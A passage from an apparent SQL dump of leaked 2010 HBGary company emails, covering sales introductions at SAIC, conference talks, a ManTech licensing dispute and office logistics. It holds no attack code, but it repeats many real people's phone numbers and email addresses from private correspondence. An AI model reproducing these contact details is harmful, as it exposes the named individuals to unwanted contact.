SAIC that can help me?','Well I thought we had a better relationship with SAIC than we do..... I want an intro to the SAIC team at Marathon Oil they are in the NOC ==but he won&#39;t give me one so far.  He wants documentation first on how we can compete with Mandiant -- there is no NDA in place.  Not sure who at HBGary is managing the SAIC relationship but it doesn&#39;t seem like it has gone anywhere since I came on board....\r\n\r\nOn Wed, Oct 6, 2010 at 3:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThat is the person I was pointed to.  What are u looking for?\r\n\r\nAaronFrom my iPhone\r\nOn Oct 5, 2010, at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron / Ted \r\n\r\nWho do you know at SAIC that can help me with Commercial   -- Bill Salazar is trying to help me but he isn&#39;t so far...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com  \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',13099,'aaron_hbgary_com/13099.html'),(12756,'2010-10-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009385.M553332P14101Q7612.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Tradeshow table cloth???','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have an extra tablecloth.&nbsp; I\r\nhear you need one.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Wednesday, October 06, 2010 7:52 PM\r\nTo: \'Bob Slapnik\'\r\nSubject: RE: Tradeshow table cloth???\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHI Bob,\r\n\r\n&nbsp;\r\n\r\n&nbsp;I looked everywhere in all\r\ncases and bags that were the cases.&nbsp; Cannot find it.&nbsp; Could I have\r\nAaron come to your house and pick up your table cloth until I can locate ours? \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, October 06, 2010 4:47 PM\r\nTo: \'DeeAnn Buonaccorsi\'; \'Maria Lucas\'; \'Ted Vera\'\r\nSubject: RE: Tradeshow table cloth???\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIt should be in one of the\r\ncases.&nbsp; It might have been put inside of a bag.&nbsp; Ted, do you remember\r\nif we put the tablecloth inside of a bag in one of the cases?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTurns out I have another table\r\ncloth.&nbsp; I thought I lost it about 6 months ago but it turned up.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Wednesday, October 06, 2010 4:28 PM\r\nTo: \'Bob Slapnik\'; \'Maria Lucas\'\r\nSubject: Tradeshow table cloth???\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDo either of you know where the table cloth is??&nbsp; It is\r\nnot in any of the show cases.&nbsp; I need to ship to Aaron before Friday. \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7183,'aaron_hbgary_com/7183.html'),(12757,'2010-10-06','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009385.M76262P14101Q7610.eml','\"Inc. HBGARY\" <All@hbgary.com>','Revised information From Jeff Bell','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello to all,\r\n\r\n&nbsp;\r\n\r\nJeff had to revise &nbsp;some information, Please read the\r\nattached .&nbsp; If you have questions for Jeff he will be in the Sacramento Office\r\nthe following days:&nbsp; \r\n\r\n&nbsp;\r\n\r\nOctober 11\r\n\r\nOctober &nbsp;13\r\n\r\nOctober 25-28\r\n\r\n&nbsp;\r\n\r\nI will try to have a phone available for him. &nbsp;&nbsp;You\r\ncan also contact him, all &nbsp;his contact info is on the HBGary Contact list.\r\n\r\n&nbsp;\r\n\r\nPlease contact me if you would like to make an appt. with\r\nhim.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks, \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8146,'aaron_hbgary_com/8146.html'),(12758,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009388.M836836P14101Q7613.eml','\"Karen Burke\" <karen@hbgary.com>','Re: Palantir GovCon6 Talk Next Week','Hi Karen,I will talk to Palantir and see. &nbsp;Once we finish the demo we will be working on the integration of Palantir with the TMC and that I think will definately warrant a whitepaper and press release.Take a look at the BIO and make tweeks as you see fit.CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, I was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, I served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. I served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, I was accepted into the Enlisted Education Advancement Program (EEAP) where I finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.On Oct 6, 2010, at 1:41 PM, Karen Burke wrote:Hi Aaron,&nbsp;Good to talk to you today. As I mentioned, l\'ll put your&nbsp;post your upcoming talk, \"Exploring the Malware Family Tree&nbsp;in Palantir\" at&nbsp;Palantir\'s&nbsp;GovCon6 event on our site. http://www.palantirtech.com/government/conference&nbsp;Do you think Palantir would be interested in&nbsp;doing a white paper with us on this topic? You are putting a lot of effort into the presentation and it would be good to leverage the content further if you think they would be amenable. Let me know if you think it is something you can approach them on. Best, Karen\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',397,'aaron_hbgary_com/397.html'),(12759,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009389.M419626P14101Q7614.eml','\"Karen Burke\" <karen@hbgary.com>','Re: Confirmed for TSA Cyber Security In Transportation Summit Event Thursday October 21st','Thoughts on podcast? &nbsp;I will probably look to do a few more of these, so any tips would be helpful.AaronOn Oct 6, 2010, at 4:51 PM, Karen Burke wrote:Hi Aaron, You have been confirmed to replace Rich at the upcoming TSA Cyber Security in Transportation Summit event in Arlington VA on Thursday Oct. 21st.&nbsp; You\'ll present his APT slidedeck. Please send me your bio and headshot ASAP and I\'ll forward over to organization. Further details i.e. time of presentation, more to come. Thank you so much for doing this event -- they are excited to have you.\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',5570,'aaron_hbgary_com/5570.html'),(12760,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009389.M633297P14101Q7615.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: who do you know at SAIC that can help me?','Yeah I haven\'t seen a strong penetration with SAIC.I know some fairly senior folks. &nbsp;Stu Shea current president for SAICs Intel Group which does about $4B in revenue used to be my boss. &nbsp;Larry Cox I know fairly well. &nbsp;Scott Sheldon runs SAICs NSA business, I try to keep in touch with him pretty regularly. &nbsp;Getting below that though I don\'t have a lot of contacts, except in the Intel group.His request doesn\'t seem all that unreasonable though. &nbsp;We should have some information on how we compare. &nbsp;I am going to contact Bill since he responded to me from the introduction from Scott Sheldon and see what I can find out.AaronOn Oct 6, 2010, at 7:31 PM, Maria Lucas wrote:Well I thought we had a better relationship with SAIC than we do..... I want an intro to the SAIC team at Marathon Oil they are in the NOC ==but he won\'t give me one so far.&nbsp; He wants documentation first on how we can compete with Mandiant -- there is no NDA in place.&nbsp; Not sure who at HBGary is managing the SAIC relationship but it doesn\'t seem like it has gone anywhere since I came on board....\r\n\r\nOn Wed, Oct 6, 2010 at 3:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThat is the person I was pointed to. &nbsp;What are u looking for?\r\n\r\nAaronFrom my iPhone\r\nOn Oct 5, 2010, at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron / Ted \r\n\r\nWho do you know at SAIC that can help me with Commercial &nbsp; -- Bill Salazar is trying to help me but he isn\'t so far...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com &nbsp;\r\n&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',11301,'aaron_hbgary_com/11301.html'),(12761,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009389.M840146P14101Q7616.eml','\"Salazar, William E.\" <WILLIAM.E.SALAZAR@saic.com>,\"Salazar, William E.\" <WILLIAM.E.SALAZAR@saic.com>,,','Re: Question','Hi Bill,\r\n\r\nNo we did not meet at RSA.\r\n\r\nA few things I would like to discuss with you to see if there is any interest.\r\n\r\n1. Social Media Training and Penetration Testing.  I just gave a talk at Scott\'s Cybernexus group meeting on social media, so he can attest to whether the presentation had good content or not.  We teach a more in-depth course on social media uses, risks, exploitation techniques, and protective measures.  In my opinion social media security training is a necessity for any organization today whether they allow it on their networks or not.  The social media penetration testing we conduct we often wrap into the training.\r\n\r\n2. End-to-End Incident Response.  I of course think very highly of HBGary Active Defense but it is only a part of a larger solution that requires leading capability on the host, perimeter, C&C, and social.  We have partnered with HBGary, Inc., Fidelis, and End-Games to provide an integrated solution to find advanced malware through C&C analysis, perimeter session monitoring and attachment analysis, and host memory forensics.  Integrated this provides us one of the most robust capabilities to identify and mitigate threats.  Using the Fidelis XPS and Active Defense products we can provide these both as a remote managed services for those companies that don\'t have the security resources, and can do more cost effective and continuous incident response.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\nOn Oct 6, 2010, at 6:36 PM, Salazar, William E. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Did we meet at the RSA Conference? In any case, what can I do for you? \r\n> \r\n> Thanks,\r\n> \r\n> William E. Salazar | SAIC\r\n> AVP/Deputy Division Manager | Intel, Security and Technology Group\r\n> phone: 703.676.7374 | fax 703.676.7378\r\n> mobile: 703.459.3886 | email: William.E.Salazar@saic.com \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, October 06, 2010 11:32 AM\r\n> To: Sheldon, Scott W.\r\n> Subject: Re: Question\r\n> \r\n> Hi Scott,\r\n> \r\n> Commercial IA/Cyber\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Oct 6, 2010, at 9:49 AM, \"Sheldon, Scott W.\"\r\n>  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Are you looking for commercial Cyber/Information Assurance, or something\r\n>> else commercial?\r\n>> \r\n>> Scott\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, October 06, 2010 8:03 AM\r\n>> To: Sheldon, Scott W.\r\n>> Subject: Question\r\n>> \r\n>> Scott,\r\n>> \r\n>> Is there someone in your commercial organization you can put me in\r\n>> contact with?  If so that would be great.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n\r\n\r\n\r\n\r\n\r\n',6102,'aaron_hbgary_com/6102.html'),(12762,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009390.M286928P14101Q7618.eml','\"Sean.Sobieraj@us-cert.gov> <Sean.Sobieraj@us-cert.gov\" <sean.sobieraj@us-cert.gov>','Malware','Hey Sean,\r\n\r\nWe are making good progress on the TMC.  Is there still a chance I could get some malware samples from you?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',7155,'aaron_hbgary_com/7155.html'),(12763,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009390.M40074P14101Q7617.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Question','Thanks Scott.\r\n\r\nI can\'t remember if I mentioned it but it might be of interest to some of your NANA folks.  I am giving a presentation on Oct 12th at Palantirs GovCon6 on Threat Intelligence, where we will be discussing methodologies for doing threat research using our volume malware processor and the Palantir analysis toolsuite.\r\n\r\nAaron\r\n\r\nOn Oct 6, 2010, at 5:34 PM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> I\'ve included Scott Shinberg (BD) and Bob Paczynski (Line) on the CC\r\n> line of this note.\r\n> \r\n> They\'re at least a good place to start.\r\n> \r\n> Scott\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, October 06, 2010 11:32 AM\r\n> To: Sheldon, Scott W.\r\n> Subject: Re: Question\r\n> \r\n> Hi Scott,\r\n> \r\n> Commercial IA/Cyber\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Oct 6, 2010, at 9:49 AM, \"Sheldon, Scott W.\"\r\n>  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Are you looking for commercial Cyber/Information Assurance, or\r\n> something\r\n>> else commercial?\r\n>> \r\n>> Scott\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, October 06, 2010 8:03 AM\r\n>> To: Sheldon, Scott W.\r\n>> Subject: Question\r\n>> \r\n>> Scott,\r\n>> \r\n>> Is there someone in your commercial organization you can put me in\r\n>> contact with?  If so that would be great.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',3691,'aaron_hbgary_com/3691.html'),(12764,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009390.M591273P14101Q7619.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: ManTech','This is what I specifically talked with Eric about. &nbsp;I told Eric that giving away software is like putting bodies on contracts for free. &nbsp;Product companies are just not inclined to do that unless there are other creative ways to make up the revenue. &nbsp;I talked to him about the idea of putting bodies on some of his government contracts and that we can just wrap the cost of some of the products within their rates and then we will pass that money through to HBGary. &nbsp;He said that idea can work. &nbsp;He said that his existing SOCs were staffed currently but the FAA SOC was coming up that he wanted to bring us in on.So maybe this had an effect on Dave\'s new perspective, who knows.AaronOn Oct 6, 2010, at 1:37 PM, Bob Slapnik wrote:Aaron,&nbsp;Dave Savage left me a voice message today saying that ManTech is “slotted to purchase additional AD licenses in 2011” and as the relationship moves forward he wants to look at creative ways that ManTech’s internal costs could be reduced as they make us money in other ways.&nbsp; So, it sounds like he shifted without my even speaking with him.&nbsp; Let me know how your meeting with Eric goes.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, October 05, 2010 10:27 AMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;Bob SlapnikSubject:&nbsp;Re: ManTech&nbsp;Yep agreed. &nbsp;And I think there is a win win. &nbsp;We can do a pass through of funds for licenses that are added to the cost of the employees. &nbsp;This is normally how managed services run anyway. &nbsp;So they will get the software and basically pass the cost onto customers. &nbsp;We get in writing an agreement to put bodies on contract with software.&nbsp;AaronFrom my iPhoneOn Oct 5, 2010, at 10:24 AM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:IT has to be in writing, I will not trust them again.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, October 05, 2010 4:48 AMTo:&nbsp;Bob SlapnikCc:&nbsp;\'Penny Leavy-Hoglund\'Subject:&nbsp;Re: ManTech&nbsp;OK I will ask Eric some questions.&nbsp;A thought though. &nbsp;Is it possible to see how far he will take this. &nbsp;They manage 5 current SOCs. &nbsp;What if they allow us to place 5 qualified candidates in existing SOCs and within the strategic partnership guarantee they will sell DDNA within their MDA solution. &nbsp;Remember they do $30-40M in IR work according to Eric.&nbsp;Giving away free software is like putting a person on a services contract free of charge. &nbsp;It is just not good business. &nbsp;But if they can push the cost somewhere else and allow us to put people on contract and then we can figure out how to get some of that money to HBGary from the services side to pay for the licenses in the SOC.?&nbsp;Aaron&nbsp;On Oct 5, 2010, at 7:24 AM, Bob Slapnik wrote:&nbsp;Aaron,&nbsp;I will speak with David and learn more about his motives.&nbsp; I just wanted to make sure that you, Penny and I were all on the same page.&nbsp; It would be helpful if you tell Eric that deployment of HBGary software into production always happens with revenue, and ManTech won’t be an exception.&nbsp;In reading the tea leaves of David’s email, it sounds like he is holding out the carrot of future services revenue to HBG Fed, but aren’t you expecting that revenue anyhow?&nbsp; Please have a frank conversation with Eric and ask him if future partnering is contingent on our cutting them a sweetheart deal.&nbsp; We have no plans to grant the sweetheart deal, but we need to ask the hard questions to flush out what Eric is thinking.&nbsp; Also ask who is putting these thoughts into David’s head?&nbsp; Who within ManTech might be influencing him?&nbsp; David stated, “I’ve had discussions with my Executive Leadership toward that end”.&nbsp; Who?&nbsp; I will ask too.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 10:54 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Bob Slapnik\'Subject:&nbsp;Re: ManTech&nbsp;I am on board. &nbsp;You can\'t ask a small company to give away software for free in hopes of future engagements. &nbsp;One thing to be clear on is big companies don\'t speak with one voice, they have many. &nbsp;The guy your working with fits somewhere in the food chain below Eric (who I am meeting with tomorrow). &nbsp;And often external and internal efforts are separated financially and functionally.&nbsp;What I am not clear on is why the change in plans? &nbsp;If I understand the circumstances clearly I may be able to help.&nbsp;Aaron&nbsp;&nbsp;On Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:Nope we can’t do this for free, it’s a business just like they have a business and we need to make money.&nbsp; WE aren’t using their software for free and quite frankly we’ve done MORE than we said we would because of this “strategic” relationship.&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:35 PMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Aaron Barr\'Subject:&nbsp;ManTech&nbsp;Penny and Aaron,&nbsp;Please see the email chain below.&nbsp; I wanted to have some internal dialogue before I speak with David.&nbsp;The attached powerpoint was David’s proposition to HBGary that they purchase DDNA during the development of their MDA system then deploy it to the ManTech SOC after the New Year.&nbsp; We ended up charging them $30,625 during the development phase with the plan that they would apply that amount toward the purchase by the SOC.&nbsp;In his email below he is “pitching” that we provide our software to the ManTech SOC for free in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp;&nbsp; Personally, I don’t like the idea.&nbsp; In my entire business career I’ve never experienced a good outcome for “future revenue” schemes.&nbsp;&nbsp;One reason we cooperated during their development phase was because we had a promise that the SOC would buy.&nbsp; Now, David is proposing to change the deal.&nbsp; We had a deal in concept worked out for the development phase, a discounted reseller price for the SOC, and reseller pricing for when they use our software on their services engagements.&nbsp; I view his latest “offer” to be reneging on a handshake agreement.&nbsp;I want the three us (Penny, Aaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I am willing to bend if ManTech shows could faith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them an extra reseller discount on some future transactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take the financial risk, not us.&nbsp;Bob&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 8:19 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;All good questions&nbsp;J&nbsp;Thanks for the update on the mods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks out from obtaining the mods?&nbsp;As you know we have purchased a 500 node license for $32K+ that were are using for testing and integration, with the intent the annual clock for the licensing would start at the beginning of 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would acquire additional DDNA licenses (up to 2,500 additional licenses, bringing the total to 3,000 with the 500 we’ve already purchased).&nbsp;I’ve been holding off on finalizing anything with the SOC, as I wanted to address the possibility of a strategic business relationship with you (HBGary), wherein ManTech would be able to leverage DDNA free of cost internally in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp; I’ve had discussions with my Executive Leadership toward that end, and I need to follow up on with my leadership again so we can move toward some sort of solution.&nbsp;At any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my court now to identify the use-strategy for DDNA at the ManTech SOC, and I will get back to you.&nbsp; If for some reason you haven’t heard from me in two weeks, please ping me again.&nbsp; I certainly don’t mean to get side-tracked, but I wear about six different hats&nbsp;J&nbsp;Thanks,Dave&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:26 PMTo:&nbsp;Savage, David RSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;David,&nbsp;Wanted to tell you that the software mods you wanted have been completed and are now in testing.&nbsp; Also, we had discussed that you intend to deploy your MDA software with HBGary’s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that the ManTech SOC would be purchasing the HBGary software as part of that deployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget identified for that purchase?&nbsp;This email is chock full of questions, isn’t it?&nbsp;&nbsp;J&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:29 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;FW: Voice Message from MARYLAND (93016528885)&nbsp;Bob –&nbsp;I received your voicemail.&nbsp; I do not have easy access to a phone this week.&nbsp; Is there anything we can address via email ?&nbsp;Thanks,Dave&nbsp;From:&nbsp;Unity Messaging System - CHN-UNITY-1&nbsp;Sent:&nbsp;Monday, October 04, 2010 1:55 PMTo:&nbsp;Savage, David RSubject:&nbsp;Voice Message from MARYLAND (93016528885)&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',8706,'aaron_hbgary_com/8706.html'),(12765,'2010-10-07','\"David D. Merritt\" <david.d.merritt@gmail.com>','/aaron@hbgary.com/new/1297009390.M842603P14101Q7620.eml','\"Aaron Barr\" <aaron@hbgary.com>','TSA','i noticed that Rich will be speaking at the TSA summit on the 21st...\r\n\r\nas a side note, my wife Mary is there and set most of that up...\r\n\r\nD\r\n\r\n',8105,'aaron_hbgary_com/8105.html'),(12766,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009391.M264238P14101Q7622.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Meeting','Hey Chris,Lets do it maybe Monday or Wed next week. &nbsp;I am slammed and am going in to see John again on Monday.AaronOn Oct 5, 2010, at 10:44 AM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,I got your vm yesterday.&nbsp; Is there a good time to chat or is it better that you come in to chat?&nbsp; Up to you.Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',11671,'aaron_hbgary_com/11671.html'),(12767,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009391.M475967P14101Q7623.eml','\"Robert L Frizzelle\" <rfrizzelle@csc.com>,\"Robert L Frizzelle\" <rfrizzelle@csc.com>','Re: Lunch with Aaron Barr - Houlihans - rt. 103 and 175','Hi Bob,For some reason this didn\'t show up on my calendar but I seem to remember the date being the 12th?If that is correct I forgot I will be giving a Threat Intelligence presentation at Palantir\'s GovCon6 in Mclean on the 12th in the afternoon (should be a good talk if your interested :) ). &nbsp;I defiantly would like to get together if there is another date/time in the near future?Aaron BarrCEOHBGary Federal, LLC719.510.8478On Oct 4, 2010, at 12:23 PM, Robert L Frizzelle wrote:\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7028 &nbsp;c: 571.269.6942 &nbsp;f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\n',14695,'aaron_hbgary_com/14695.html'),(12768,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009391.M52927P14101Q7621.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: SSC PAC PreAward/Contract Planning-After Actions','Bob,Is this something Ted and I can get engaged in now and talk to the GD folks about the IDIQ. &nbsp;If it is a multiple award IDIQ they probably have a decent shot at getting on the winners list. &nbsp;I would like to get some details and your right it will be a services contract but with ODC for execution.AaronOn Oct 6, 2010, at 12:12 PM, Penny Leavy-Hoglund wrote:I think we have HBGary Fed participate.&nbsp; They can sell product if needed and we already have contract in place and their email says HBGary.&nbsp; If it’s personnel it will be them anyway and we have a WAY higher billing rate than Fed so it works out better for all.&nbsp; Aaron?&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, October 06, 2010 5:59 AMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Ted Vera\'Subject:&nbsp;FW: SSC PAC PreAward/Contract Planning-After Actions&nbsp;Penny, Aaron and Ted,&nbsp;GD had their pre-award planning meeting for the SPAWAR IDIQ contract they expect to be awarded. As you’ll recall, HBGary is a tier-1 teaming 